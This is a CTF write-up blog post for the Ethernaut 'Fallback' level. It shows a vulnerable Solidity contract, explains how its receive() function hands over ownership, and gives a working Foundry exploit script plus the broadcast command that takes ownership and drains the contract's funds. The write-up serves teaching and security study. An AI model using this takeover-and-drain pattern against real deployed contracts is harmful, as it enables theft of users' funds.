Fallback - The Ethernaut

320 words

2 minutes

Fallback - The Ethernaut

2025-09-16

CTF

blockchain

/

ethernaut

Cover image source: Source

Challenge Overview#

In this level, we interact with a contract called Fallback.
The goal is to:

Become the owner of the contract.
Drain all its funds.

At first glance, ownership seems restricted to whoever deploys the contract. However, the receive() function hides a critical vulnerability.

Challenge Code#

1
// SPDX-License-Identifier: MIT
2
pragma solidity ^0.8.0;
3

4
contract Fallback {
5
    mapping(address => uint256) public contributions;
6
    address public owner;
7

8
    constructor() {
9
        owner = msg.sender;
10
        contributions[msg.sender] = 1000 * (1 ether);
11
    }
12

13
    modifier onlyOwner() {
14
        require(msg.sender == owner, "caller is not the owner");
15
        _;
16
    }
17

18
    function contribute() public payable {
19
        require(msg.value < 0.001 ether);
20
        contributions[msg.sender] += msg.value;
21
        if (contributions[msg.sender] > contributions[owner]) {
22
            owner = msg.sender;
23
        }
24
    }
25

26
    function getContribution() public view returns (uint256) {
27
        return contributions[msg.sender];
28
    }
29

30
    function withdraw() public onlyOwner {
31
        payable(owner).transfer(address(this).balance);
32
    }
33

34
    receive() external payable {
35
        require(msg.value > 0 && contributions[msg.sender] > 0);
36
        owner = msg.sender;
37
    }
38
}

Exploit Explanation#

The vulnerability lies in the receive() function:

1
receive() external payable {
2
    require(msg.value > 0 && contributions[msg.sender] > 0);
3
    owner = msg.sender;
4
}

To trigger it, we must already have a contribution > 0.
Once this condition is met, sending Ether directly to the contract calls receive() and updates the owner to our address.

So the exploit sequence is:

Call contribute() with a tiny amount (< 0.001 ether) to register a contribution.
Send Ether directly to the contract → this calls receive() and transfers ownership to us.
Call withdraw() → since we’re now the owner, we can drain the contract’s balance.

Exploit Script#

1
// SPDX-License-Identifier: UNLICENSED
2
pragma solidity ^0.8.0;
3

4
import "forge-std/Script.sol";
5
import "forge-std/console.sol";
6
import "../src/Fallback.sol";
7

8
contract FallbackSolution is Script {
9
    Fallback public fallbackInstance = Fallback(payable(<YOUR_INSTANCE>));
10

11
    function run() public {
12
        vm.startBroadcast(vm.envUint("PRIVATE_KEY"));
13

14
        // Step 1: Contribute a small amount
15
        fallbackInstance.contribute{value: 1 wei}();
16

17
        // Step 2: Send ether directly -> triggers receive()
18
        (bool success, ) = address(fallbackInstance).call{value: 1 wei}("");
19
        require(success, "Fallback call failed");
20

21
        // Debug logs
22
        console.log("New Owner:", fallbackInstance.owner());
23
        console.log("My Address:", vm.envAddress("MY_ADDRESS"));
24

25
        // Step 3: Withdraw funds
26
        fallbackInstance.withdraw();
27

28
        vm.stopBroadcast();
29
    }
30
}

Proof of Concept (PoC)#

Run the exploit with Foundry:

1
forge script script/FallbackSolution.s.sol --rpc-url $SEPOLIA_URL --broadcast

Fallback - The Ethernaut

https://xiaowenjictf.github.io/posts/ethernaut/fallback/

Author

xiaowenji

Published at

2025-09-16

License

CC BY-NC-SA 4.0

Token - The Ethernaut

Fallout - The Ethernaut

Proof of Concept (PoC)